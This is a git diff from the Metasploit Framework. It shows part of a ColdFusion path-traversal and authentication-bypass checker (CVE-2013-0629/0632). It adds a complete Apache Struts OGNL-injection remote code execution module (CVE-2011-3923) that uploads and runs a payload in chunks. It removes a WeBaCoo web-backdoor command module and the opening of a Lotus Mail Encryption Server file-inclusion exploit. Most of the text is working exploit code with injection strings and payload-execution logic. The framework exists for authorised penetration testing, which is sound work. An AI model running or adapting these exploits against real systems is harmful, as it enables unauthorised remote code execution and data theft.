set_cookie = res.headers['Set-Cookie']
|
|
||||||
# Parse the Set-Cookie header
|
|
||||||
parsed_cookies = CGI::Cookie.parse(set_cookie)
|
|
||||||
|
|
||||||
# Clean up the cookies we got by:
|
|
||||||
# * Dropping Path and Expires from the parsed cookies -- we don't care
|
|
||||||
# * Dropping empty (reset) cookies
|
|
||||||
%w(Path Expires).each do |ignore|
|
|
||||||
parsed_cookies.delete ignore
|
|
||||||
parsed_cookies.delete ignore.downcase
|
|
||||||
end
|
|
||||||
parsed_cookies.keys.each do |name|
|
|
||||||
parsed_cookies[name].reject! { |value| value == '""' }
|
|
||||||
end
|
|
||||||
parsed_cookies.reject! { |name,values| values.empty? }
|
|
||||||
|
|
||||||
# the cookies always seem to start with CFAUTHORIZATION_, but
|
|
||||||
# give the module the ability to log what it got in the event
|
|
||||||
# that this stops becoming an OK assumption
|
|
||||||
unless parsed_cookies.empty?
|
|
||||||
vprint_status "Got the following cookies after authenticating: #{parsed_cookies}"
|
|
||||||
end
|
|
||||||
cookie_pattern = /^CF/
|
|
||||||
useful_cookies = parsed_cookies.select { |name,value| name =~ cookie_pattern }
|
|
||||||
if useful_cookies.empty?
|
|
||||||
vprint_status "No #{cookie_pattern} cookies found"
|
|
||||||
else
|
|
||||||
vprint_status "The following cookies could be used for future authentication: #{useful_cookies}"
|
|
||||||
end
|
|
||||||
useful_cookies
|
|
||||||
end
|
|
||||||
|
|
||||||
# Authenticates to ColdFusion Administrator via the adminapi using the
|
|
||||||
# specified +user+ and +password+. If +use_rds+ is true, it is assumed that
|
|
||||||
# the provided credentials are for RDS, otherwise they are assumed to be
|
|
||||||
# credentials for ColdFusion Administrator.
|
|
||||||
#
|
|
||||||
# Returns a hash (cookie name => value) of the cookies obtained
|
|
||||||
def adminapi_login(user, password, use_rds)
|
|
||||||
vprint_status "Attempting ColdFusion Administrator adminapi login"
|
|
||||||
user ||= ''
|
|
||||||
password ||= ''
|
|
||||||
res = send_request_cgi(
|
|
||||||
{
|
|
||||||
'uri' => normalize_uri(target_uri.path, %w(CFIDE adminapi administrator.cfc)),
|
|
||||||
'method' => 'POST',
|
|
||||||
'vars_post' => {
|
|
||||||
'method' => 'login',
|
|
||||||
'adminUserId' => user,
|
|
||||||
'adminPassword' => password,
|
|
||||||
'rdsPasswordAllowed' => (use_rds ? '1' : '0')
|
|
||||||
}
|
|
||||||
})
|
|
||||||
|
|
||||||
if res
|
|
||||||
if res.code == 200
|
|
||||||
vprint_status "HTTP #{res.code} when authenticating"
|
|
||||||
return get_useful_cookies(res)
|
|
||||||
else
|
|
||||||
print_error "HTTP #{res.code} when authenticating"
|
|
||||||
end
|
|
||||||
else
|
|
||||||
print_error "No response when authenticating"
|
|
||||||
end
|
|
||||||
|
|
||||||
{}
|
|
||||||
end
|
|
||||||
|
|
||||||
# Authenticates to ColdFusion Administrator using the specified +user+ and
|
|
||||||
# +password+
|
|
||||||
#
|
|
||||||
# Returns a hash (cookie name => value) of the cookies obtained
|
|
||||||
def administrator_login(user, password)
|
|
||||||
cf_cookies = administrator_9x_login user, password
|
|
||||||
unless got_auth? cf_cookies
|
|
||||||
cf_cookies = administrator_10x_login user, password
|
|
||||||
end
|
|
||||||
cf_cookies
|
|
||||||
end
|
|
||||||
|
|
||||||
def administrator_10x_login(user, password)
|
|
||||||
# coldfusion 10 appears to do:
|
|
||||||
# cfadminPassword.value = hex_sha1(cfadminPassword.value)
|
|
||||||
vprint_status "Trying ColdFusion 10.x Administrator login"
|
|
||||||
res = send_request_cgi(
|
|
||||||
{
|
|
||||||
'uri' => normalize_uri(target_uri.path, %w(CFIDE administrator enter.cfm)),
|
|
||||||
'method' => 'POST',
|
|
||||||
'vars_post' => {
|
|
||||||
'cfadminUserId' => user,
|
|
||||||
'cfadminPassword' => Digest::SHA1.hexdigest(password).upcase,
|
|
||||||
'requestedURL' => '/CFIDE/administrator/index.cfm',
|
|
||||||
'submit' => 'Login',
|
|
||||||
}
|
|
||||||
})
|
|
||||||
|
|
||||||
if res
|
|
||||||
if res.code.to_s =~ /^30[12]/
|
|
||||||
useful_cookies = get_useful_cookies res
|
|
||||||
if got_auth? useful_cookies
|
|
||||||
return useful_cookies
|
|
||||||
end
|
|
||||||
else
|
|
||||||
if res.body =~ /<title>Error/i
|
|
||||||
print_status "Appears to be restricted and/or not ColdFusion 10.x"
|
|
||||||
elsif res.body =~ /A License exception has occurred/i
|
|
||||||
print_status "Is license restricted"
|
|
||||||
else
|
|
||||||
vprint_status "Got unexpected HTTP #{res.code} response when sending a ColdFusion 10.x request. Not 10.x?"
|
|
||||||
vprint_status res.body
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
return {}
|
|
||||||
end
|
|
||||||
|
|
||||||
def got_auth?(cookies)
|
|
||||||
not cookies.select { |name,values| name =~ /^CFAUTHORIZATION_/ }.empty?
|
|
||||||
end
|
|
||||||
|
|
||||||
def administrator_9x_login(user, password)
|
|
||||||
vprint_status "Trying ColdFusion 9.x Administrator login"
|
|
||||||
# coldfusion 9 appears to do:
|
|
||||||
# cfadminPassword.value = hex_hmac_sha1(salt.value, hex_sha1(cfadminPassword.value));
|
|
||||||
#
|
|
||||||
# You can get a current salt from
|
|
||||||
# http://<host>:8500/CFIDE/adminapi/administrator.cfc?method=getSalt&name=CFIDE.adminapi.administrator&path=/CFIDE/adminapi/administrator.cfc#method_getSalt
|
|
||||||
#
|
|
||||||
# Unfortunately that URL might be restricted and the salt really just looks
|
|
||||||
# to be the current time represented as the number of milliseconds since
|
|
||||||
# the epoch, so just use that
|
|
||||||
salt = (Time.now.to_i * 1000).to_s
|
|
||||||
pass = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), salt, Digest::SHA1.hexdigest(password).upcase).upcase
|
|
||||||
res = send_request_cgi(
|
|
||||||
{
|
|
||||||
'uri' => normalize_uri(target_uri.path, %w(CFIDE administrator enter.cfm)),
|
|
||||||
'method' => 'POST',
|
|
||||||
'vars_post' => {
|
|
||||||
'submit' => 'Login',
|
|
||||||
'salt' => salt,
|
|
||||||
'cfadminUserId' => user,
|
|
||||||
'requestedURL' => '/CFIDE/administrator/index.cfm',
|
|
||||||
'cfadminPassword' => pass,
|
|
||||||
}
|
|
||||||
})
|
|
||||||
if res
|
|
||||||
return get_useful_cookies res
|
|
||||||
else
|
|
||||||
print_error "No response while trying ColdFusion 9.x authentication"
|
|
||||||
end
|
|
||||||
|
|
||||||
{}
|
|
||||||
end
|
|
||||||
|
|
||||||
# Authenticates to ColdFusion ComponentUtils using the specified +user+ and +password+
|
|
||||||
#
|
|
||||||
# Returns a hash (cookie name => value) of the cookies obtained
|
|
||||||
def componentutils_login(user, password)
|
|
||||||
vprint_status "Attempting ColdFusion ComponentUtils login"
|
|
||||||
vars = {
|
|
||||||
'j_password_required' => "Password+Required",
|
|
||||||
'submit' => 'Login',
|
|
||||||
}
|
|
||||||
vars['rdsUserId'] = user if user
|
|
||||||
vars['j_password'] = password if password
|
|
||||||
res = send_request_cgi(
|
|
||||||
{
|
|
||||||
'uri' => normalize_uri(target_uri.path, %w(CFIDE componentutils cfcexplorer.cfc)),
|
|
||||||
'method' => 'POST',
|
|
||||||
'connection' => 'TE, close',
|
|
||||||
'vars_post' => vars
|
|
||||||
})
|
|
||||||
|
|
||||||
cf_cookies = {}
|
|
||||||
if res.code.to_s =~ /^(?:200|30[12])$/
|
|
||||||
cf_cookies = get_useful_cookies res
|
|
||||||
else
|
|
||||||
print_error "HTTP #{res.code} while attempting ColdFusion ComponentUtils login"
|
|
||||||
end
|
|
||||||
|
|
||||||
cf_cookies
|
|
||||||
end
|
|
||||||
|
|
||||||
def check_cve_2013_0629
|
|
||||||
vulns = 0
|
|
||||||
paths = %w(../../../license.txt ../../../../license.html)
|
|
||||||
|
|
||||||
# first try password-less bypass in the event that this thing
|
|
||||||
# was just wide open
|
|
||||||
vuln_without_creds = false
|
|
||||||
paths.each do |path|
|
|
||||||
if traverse_read(path, nil) =~ /ADOBE SYSTEMS INCORPORATED/
|
|
||||||
vulns += 1
|
|
||||||
vuln_without_creds = true
|
|
||||||
break
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
if vuln_without_creds
|
|
||||||
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 without credentials"
|
|
||||||
else
|
|
||||||
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 without credentials"
|
|
||||||
end
|
|
||||||
|
|
||||||
# if credentials are provided, try those too
|
|
||||||
if datastore['USERNAME'] and datastore['PASSWORD']
|
|
||||||
vuln_without_bypass = false
|
|
||||||
paths.each do |path|
|
|
||||||
cf_cookies = componentutils_login(datastore['USERNAME'], datastore['PASSWORD'])
|
|
||||||
if traverse_read(path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/
|
|
||||||
vulns += 1
|
|
||||||
vuln_without_bypass = true
|
|
||||||
break
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
if vuln_without_bypass
|
|
||||||
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 with credentials"
|
|
||||||
else
|
|
||||||
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 with credentials"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
# now try with the CVE-2013-0632 bypass, in the event that this wasn't *totally* wide open
|
|
||||||
vuln_with_bypass = false
|
|
||||||
paths.each do |path|
|
|
||||||
cf_cookies = adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], true)
|
|
||||||
# we need to take the cookie value from CFAUTHORIZATION_cfadmin
|
|
||||||
# and use it for CFAUTHORIZATION_componentutils
|
|
||||||
cf_cookies['CFAUTHORIZATION_componentutils'] = cf_cookies['CFAUTHORIZATION_cfadmin']
|
|
||||||
cf_cookies.delete('CFAUTHORIZATION_cfadmin')
|
|
||||||
if traverse_read(path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/
|
|
||||||
vulns += 1
|
|
||||||
vuln_with_bypass = true
|
|
||||||
break
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
if vuln_with_bypass
|
|
||||||
print_status("#{datastore['RHOST']} is vulnerable to CVE-2013-0629 in combination with CVE-2013-0632")
|
|
||||||
else
|
|
||||||
print_status("#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 in combination with CVE-2013-0632")
|
|
||||||
end
|
|
||||||
|
|
||||||
vulns > 0
|
|
||||||
end
|
|
||||||
|
|
||||||
# Checks for CVE-2013-0632, returning true if the target is
|
|
||||||
# vulnerable, false otherwise
|
|
||||||
def check_cve_2013_0632
|
|
||||||
if datastore['USERDS']
|
|
||||||
# the vulnerability for CVE-2013-0632 is that if RDS is disabled during install but
|
|
||||||
# subsequently *enabled* after install, the password is unset so we simply must
|
|
||||||
# check that and only that.
|
|
||||||
cf_cookies = adminapi_login(Rex::Text.rand_text_alpha(4), Rex::Text.rand_text_alpha(4), true)
|
|
||||||
if cf_cookies.empty?
|
|
||||||
print_status("#{datastore['RHOST']} is not vulnerable to CVE-2013-0632")
|
|
||||||
else
|
|
||||||
print_status("#{datastore['RHOST']} is vulnerable to CVE-2013-0632")
|
|
||||||
return true
|
|
||||||
end
|
|
||||||
else
|
|
||||||
print_error("Cannot test #{datastore['RHOST']} CVE-2013-0632 with USERDS off")
|
|
||||||
end
|
|
||||||
false
|
|
||||||
end
|
|
||||||
|
|
||||||
# Read the file located at +path+ using the provided ColdFusion +cookies+,
|
|
||||||
# returning the contents of the file if found, an empty string otherwise
|
|
||||||
def traverse_read(path, cookies)
|
|
||||||
uri = normalize_uri(target_uri.path)
|
|
||||||
uri << "CFIDE/componentutils/cfcexplorer.cfc?method=getcfcinhtml&name=CFIDE.adminapi.administrator&path="
|
|
||||||
uri << path
|
|
||||||
res = send_request_cgi(
|
|
||||||
{
|
|
||||||
'uri' => uri,
|
|
||||||
'method' => 'GET',
|
|
||||||
'connection' => 'TE, close',
|
|
||||||
'cookie' => build_cookie_header(cookies)
|
|
||||||
})
|
|
||||||
if res and res.body
|
|
||||||
res.body.gsub(/\r\n?/, "\n").gsub(/.<html>.<head>.<title>Component.*/m, '')
|
|
||||||
else
|
|
||||||
return ""
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -0,0 +1,166 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Apache Struts ParametersInterceptor Remote Code Execution',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a remote command execution vulnerability in Apache Struts
|
||||||
|
versions < 2.3.1.2. This issue is caused because the ParametersInterceptor allows
|
||||||
|
for the use of parentheses which in turn allows it to interpret parameter values as
|
||||||
|
OGNL expressions during certain exception handling for mismatched data types of
|
||||||
|
properties which allows remote attackers to execute arbitrary Java code via a
|
||||||
|
crafted parameter.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Meder Kydyraliev', # Vulnerability Discovery and PoC
|
||||||
|
'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module
|
||||||
|
'mihi' #ARCH_JAVA support
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '2011-3923'],
|
||||||
|
[ 'OSVDB', '78501'],
|
||||||
|
[ 'URL', 'http://blog.o0o.nu/2012/01/cve-2011-3923-yet-another-struts2.html'],
|
||||||
|
[ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-009']
|
||||||
|
],
|
||||||
|
'Platform' => [ 'win', 'linux', 'java'],
|
||||||
|
'Privileged' => true,
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
['Windows Universal',
|
||||||
|
{
|
||||||
|
'Arch' => ARCH_X86,
|
||||||
|
'Platform' => 'windows'
|
||||||
|
}
|
||||||
|
],
|
||||||
|
['Linux Universal',
|
||||||
|
{
|
||||||
|
'Arch' => ARCH_X86,
|
||||||
|
'Platform' => 'linux'
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[ 'Java Universal',
|
||||||
|
{
|
||||||
|
'Arch' => ARCH_JAVA,
|
||||||
|
'Platform' => 'java'
|
||||||
|
},
|
||||||
|
]
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Oct 01 2011',
|
||||||
|
'DefaultTarget' => 2))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(8080),
|
||||||
|
OptString.new('PARAMETER',[ true, 'The parameter to perform injection against.',"username"]),
|
||||||
|
OptString.new('TARGETURI', [ true, 'The path to a struts application action with the location to perform the injection', "/blank-struts2/login.action?INJECT"]),
|
||||||
|
OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def execute_command(cmd, opts = {})
|
||||||
|
inject = "PARAMETERTOKEN=(#context[\"xwork.MethodAccessor.denyMethodExecution\"]=+new+java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]"
|
||||||
|
inject << "=+new+java.lang.Boolean(true),CMD)('meh')&z[(PARAMETERTOKEN)(meh)]=true"
|
||||||
|
inject.gsub!(/PARAMETERTOKEN/,Rex::Text::uri_encode(datastore['PARAMETER']))
|
||||||
|
inject.gsub!(/CMD/,Rex::Text::uri_encode(cmd))
|
||||||
|
uri = String.new(datastore['TARGETURI'])
|
||||||
|
uri = normalize_uri(uri)
|
||||||
|
uri.gsub!(/INJECT/,inject) # append the injection string
|
||||||
|
resp = send_request_cgi({
|
||||||
|
'uri' => uri,
|
||||||
|
'version' => '1.1',
|
||||||
|
'method' => 'GET',
|
||||||
|
})
|
||||||
|
return resp #Used for check function.
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
#Set up generic values.
|
||||||
|
@payload_exe = rand_text_alphanumeric(4+rand(4))
|
||||||
|
pl_exe = generate_payload_exe
|
||||||
|
append = 'false'
|
||||||
|
#Now arch specific...
|
||||||
|
case target['Platform']
|
||||||
|
when 'linux'
|
||||||
|
@payload_exe = "/tmp/#{@payload_exe}"
|
||||||
|
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))"
|
||||||
|
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))"
|
||||||
|
when 'java'
|
||||||
|
@payload_exe << ".jar"
|
||||||
|
pl_exe = payload.encoded_jar.pack
|
||||||
|
exec_cmd = ""
|
||||||
|
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
|
||||||
|
exec_cmd << "#q.setAccessible(true),#q.set(null,true),"
|
||||||
|
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
|
||||||
|
exec_cmd << "#q.setAccessible(true),#q.set(null,false),"
|
||||||
|
exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()}),"
|
||||||
|
exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
|
||||||
|
exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
|
||||||
|
exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
|
||||||
|
when 'windows'
|
||||||
|
@payload_exe = "./#{@payload_exe}.exe"
|
||||||
|
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')"
|
||||||
|
else
|
||||||
|
fail_with(Exploit::Failure::NoTarget, 'Unsupported target platform!')
|
||||||
|
end
|
||||||
|
|
||||||
|
#Now with all the arch specific stuff set, perform the upload.
|
||||||
|
#109 = length of command string plus the max length of append.
|
||||||
|
sub_from_chunk = 109 + @payload_exe.length + datastore['TARGETURI'].length + datastore['PARAMETER'].length
|
||||||
|
chunk_length = 2048 - sub_from_chunk
|
||||||
|
chunk_length = ((chunk_length/4).floor)*3
|
||||||
|
while pl_exe.length > chunk_length
|
||||||
|
java_upload_part(pl_exe[0,chunk_length],@payload_exe,append)
|
||||||
|
pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length]
|
||||||
|
append = true
|
||||||
|
end
|
||||||
|
java_upload_part(pl_exe,@payload_exe,append)
|
||||||
|
execute_command(chmod_cmd) if target['Platform'] == 'linux'
|
||||||
|
execute_command(exec_cmd)
|
||||||
|
register_files_for_cleanup(@payload_exe)
|
||||||
|
end
|
||||||
|
|
||||||
|
def java_upload_part(part, filename, append = 'false')
|
||||||
|
cmd = ""
|
||||||
|
cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
|
||||||
|
cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
|
||||||
|
cmd << "#f.close()"
|
||||||
|
execute_command(cmd)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
sleep_time = datastore['CHECK_SLEEPTIME']
|
||||||
|
check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})"
|
||||||
|
t1 = Time.now
|
||||||
|
print_status("Asking remote server to sleep for #{sleep_time} seconds")
|
||||||
|
response = execute_command(check_cmd)
|
||||||
|
t2 = Time.now
|
||||||
|
delta = t2 - t1
|
||||||
|
|
||||||
|
|
||||||
|
if response.nil?
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
elsif delta < sleep_time
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
else
|
||||||
|
return Exploit::CheckCode::Appears
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -1,148 +0,0 @@
|
||||||
##
|
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
|
||||||
# web site for more information on licensing and terms of use.
|
|
||||||
# http://metasploit.com/
|
|
||||||
##
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Exploit::Remote
|
|
||||||
Rank = ExcellentRanking
|
|
||||||
|
|
||||||
include Msf::Exploit::Remote::HttpClient
|
|
||||||
|
|
||||||
def initialize(info = {})
|
|
||||||
super(update_info(info,
|
|
||||||
'Name' => 'WeBaCoo Backdoor Exploit',
|
|
||||||
'Description' => %q{
|
|
||||||
WeBaCoo (Web Backdoor Cookie) is a web backdoor script-kit, aiming to provide a
|
|
||||||
stealth terminal-like connection over HTTP between client and web server. Using
|
|
||||||
this exploit module you can interact with the backdoor server without using WeBaCoo
|
|
||||||
terminal mode to establish the communication channel.
|
|
||||||
},
|
|
||||||
'Author' => [ 'A. Bechtsoudis <anestis [at] bechtsoudis.com>' ],
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'References' =>
|
|
||||||
[
|
|
||||||
[ 'URL', 'https://github.com/anestisb/WeBaCoo' ],
|
|
||||||
[ 'URL', 'https://bechtsoudis.com/webacoo/' ]
|
|
||||||
],
|
|
||||||
'Privileged' => false,
|
|
||||||
'Platform' => ['unix','linux'],
|
|
||||||
'Arch' => ARCH_CMD,
|
|
||||||
'Payload' =>
|
|
||||||
{
|
|
||||||
# max HTTP header length
|
|
||||||
'Space' => 8190,
|
|
||||||
'DisableNops' => true,
|
|
||||||
'Compat' =>
|
|
||||||
{
|
|
||||||
'PayloadType' => 'cmd',
|
|
||||||
'RequiredCmd' => 'generic perl ruby python netcat netcat-e bash'
|
|
||||||
},
|
|
||||||
},
|
|
||||||
'DisclosureDate' => 'Nov 29 2011',
|
|
||||||
'Targets' => [ ['Automatic', { }] ],
|
|
||||||
'DefaultTarget' => 0
|
|
||||||
))
|
|
||||||
|
|
||||||
register_options(
|
|
||||||
[
|
|
||||||
OptString.new('TARGETURI', [ true, "WeBaCoo backdoor path", '/index.php']),
|
|
||||||
OptString.new('COOKIE', [ true, "Cookie name to use", 'M-Cookie'])
|
|
||||||
], self.class)
|
|
||||||
end
|
|
||||||
|
|
||||||
def check
|
|
||||||
cookie = datastore['COOKIE']
|
|
||||||
|
|
||||||
# generate a random string for a test echo command
|
|
||||||
rstr = rand_text_alphanumeric(6)
|
|
||||||
|
|
||||||
# base64 encode the command
|
|
||||||
command = Rex::Text.encode_base64("echo '#{rstr}'")
|
|
||||||
|
|
||||||
# random delimiter used to wrap the server's response
|
|
||||||
delim = rand_string(4)
|
|
||||||
|
|
||||||
# form the cookie that will tranfer the payload
|
|
||||||
# details about backdoor communication model at:
|
|
||||||
# https://github.com/anestisb/WeBaCoo/wiki/Documentation
|
|
||||||
cookie = "cm=#{command}; cn=#{cookie}; cp=#{delim}"
|
|
||||||
print_status("Checking target URI for backdoor access.")
|
|
||||||
response = send_request_cgi({
|
|
||||||
'method' => 'GET',
|
|
||||||
'uri' => normalize_uri(target_uri.path),
|
|
||||||
'cookie' => cookie
|
|
||||||
})
|
|
||||||
|
|
||||||
# server response validation
|
|
||||||
if response and response.code == 200
|
|
||||||
# retrieve the HTTP response cookie sets
|
|
||||||
res_cookie = Rex::Text.uri_decode(response.headers['Set-Cookie'])
|
|
||||||
if res_cookie
|
|
||||||
# obtain the command output substring wrapped between delimiters
|
|
||||||
cmd_res = *(/#{delim}(.*)#{delim}/.match(res_cookie))
|
|
||||||
|
|
||||||
# decode command output
|
|
||||||
cmd_res = Rex::Text.decode_base64(cmd_res[1]).chomp! unless cmd_res.nil?
|
|
||||||
if cmd_res == rstr
|
|
||||||
return Exploit::CheckCode::Vulnerable
|
|
||||||
else
|
|
||||||
print_error("Server did not responded with expected cookie values.")
|
|
||||||
return Exploit::CheckCode::Safe
|
|
||||||
end
|
|
||||||
else
|
|
||||||
print_error("Server did not responded with a Set-Cookie in header.")
|
|
||||||
return Exploit::CheckCode::Safe
|
|
||||||
end
|
|
||||||
end
|
|
||||||
print_error("Server responded with #{response.code}.") unless response.nil?
|
|
||||||
return Exploit::CheckCode::Safe
|
|
||||||
end
|
|
||||||
|
|
||||||
def exploit
|
|
||||||
cookie = datastore['COOKIE']
|
|
||||||
|
|
||||||
print_status("Sending payload via HTTP header cookie")
|
|
||||||
|
|
||||||
# generate a random delimiter
|
|
||||||
delim = rand_string(4)
|
|
||||||
|
|
||||||
# form the payload cookie carrier
|
|
||||||
cookie = "cm=" + Rex::Text.encode_base64(payload.encoded) + "; cn=#{cookie}; cp=#{delim}"
|
|
||||||
|
|
||||||
response = send_request_raw({
|
|
||||||
'method' => 'GET',
|
|
||||||
'uri' => normalize_uri(target_uri.path),
|
|
||||||
'cookie' => cookie
|
|
||||||
})
|
|
||||||
|
|
||||||
# in case of custom command payload the server's response is captured and printed
|
|
||||||
if datastore['PAYLOAD'] == 'cmd/unix/generic' and response and response.code == 200
|
|
||||||
# retrieve the HTTP response cookie sets
|
|
||||||
res_cookie = URI.decode(response.headers['Set-Cookie'])
|
|
||||||
if res_cookie
|
|
||||||
# obtain the command output substring wrapped between delimiters
|
|
||||||
cmd_res = *(/#{delim}(.*)#{delim}/.match(res_cookie))
|
|
||||||
|
|
||||||
# decode command output
|
|
||||||
cmd_res = Rex::Text.decode_base64(cmd_res[1]).chomp! unless cmd_res.nil?
|
|
||||||
print_good("Server responed with:\n#{cmd_res}")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
# Generate a random string with one base64 non-valid character
|
|
||||||
def rand_string(length=8)
|
|
||||||
# Base64 valid characters
|
|
||||||
vchars = ('a'..'z').to_a + ('A'..'Z').to_a + ('0'..'9').to_a
|
|
||||||
# Base64 non-valid characters
|
|
||||||
nvchars = (['!','@','#','%','&','*','?','~']).to_a
|
|
||||||
str=''
|
|
||||||
(length-1).times{ str << vchars[rand(vchars.size)] }
|
|
||||||
return str + nvchars[rand(nvchars.size)]
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'Compat' =>
|
'Compat' =>
|
||||||
{
|
{
|
||||||
'PayloadType' => 'cmd',
|
'PayloadType' => 'cmd',
|
||||||
'RequiredCmd' => 'generic perl telnet netcat netcat-e bash'
|
'RequiredCmd' => 'generic perl telnet netcat netcat-e bash',
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
'Platform' => 'unix',
|
'Platform' => 'unix',
|
||||||
|
|
|
@ -1,105 +0,0 @@
|
||||||
##
|
|
||||||
# $Id$
|
|
||||||
##
|
|
||||||
|
|
||||||
##
|
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
|
||||||
# web site for more information on licensing and terms of use.
|
|
||||||
# http://metasploit.com/
|
|
||||||
##
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Exploit::Remote
|
|
||||||
Rank = ExcellentRanking
|
|
||||||
|
|
||||||
include Msf::Exploit::Remote::HttpClient
|
|
||||||
include Msf::Exploit::Remote::HttpServer::PHPInclude
|
|
||||||
|
|
||||||
def initialize(info = {})
|
|
||||||
super(update_info(info,
|
|
||||||
'Name' => 'Lotus Mail Encryption Server (Protector for Mail) Local File Inclusion',
|
|
||||||
'Description' => %q{
|
|
||||||
This module exploits a local file inclusion vulnerability in the Lotus Mail
|
|
||||||
Encryption Server (Protector for Mail Encryption) administration interface. The
|
|
||||||
index.php file uses an unsafe include() where an unauthenticated remote user may
|
|
||||||
read (traversal) arbitrary file contents. By abusing a second bug within Lotus,
|
|
||||||
payload can be injected into a known location, and call it via the LFI to gain
|
|
||||||
remote code execution. This module has been tested successfully on version 2.1.0.1
|
|
||||||
Build(88.3.0.1.4323). DATE could be needed when there are UTC timezone differences
|
|
||||||
between the remote host and the metasploit instance. In this case, the format is
|
|
||||||
YYYY-MM-DD.
|
|
||||||
},
|
|
||||||
'Author' => [ 'patrick' ],
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'References' =>
|
|
||||||
[
|
|
||||||
#[ 'URL', 'http://www.osisecurity.com.au/advisories/' ], #0day
|
|
||||||
#[ 'CVE', 'X' ],
|
|
||||||
#[ 'OSVDB', 'X'],
|
|
||||||
#[ 'BID', 'X' ],
|
|
||||||
],
|
|
||||||
'Privileged' => false,
|
|
||||||
'Platform' => 'php',
|
|
||||||
'Arch' => ARCH_PHP,
|
|
||||||
'Targets' => [[ 'Lotus Mail Encryption Server 2.1.0.1', { }]],
|
|
||||||
'DisclosureDate' => 'Nov 9 2012',
|
|
||||||
'DefaultTarget' => 0))
|
|
||||||
|
|
||||||
register_options(
|
|
||||||
[
|
|
||||||
Opt::RPORT(9000),
|
|
||||||
OptBool.new('SSL', [true, 'Use SSL', true]),
|
|
||||||
OptString.new("DATE", [false, 'The date of the target system log file in YYYY-MM-DD format']),
|
|
||||||
], self.class)
|
|
||||||
end
|
|
||||||
|
|
||||||
def check
|
|
||||||
res = send_request_cgi( { 'uri' => '/' })
|
|
||||||
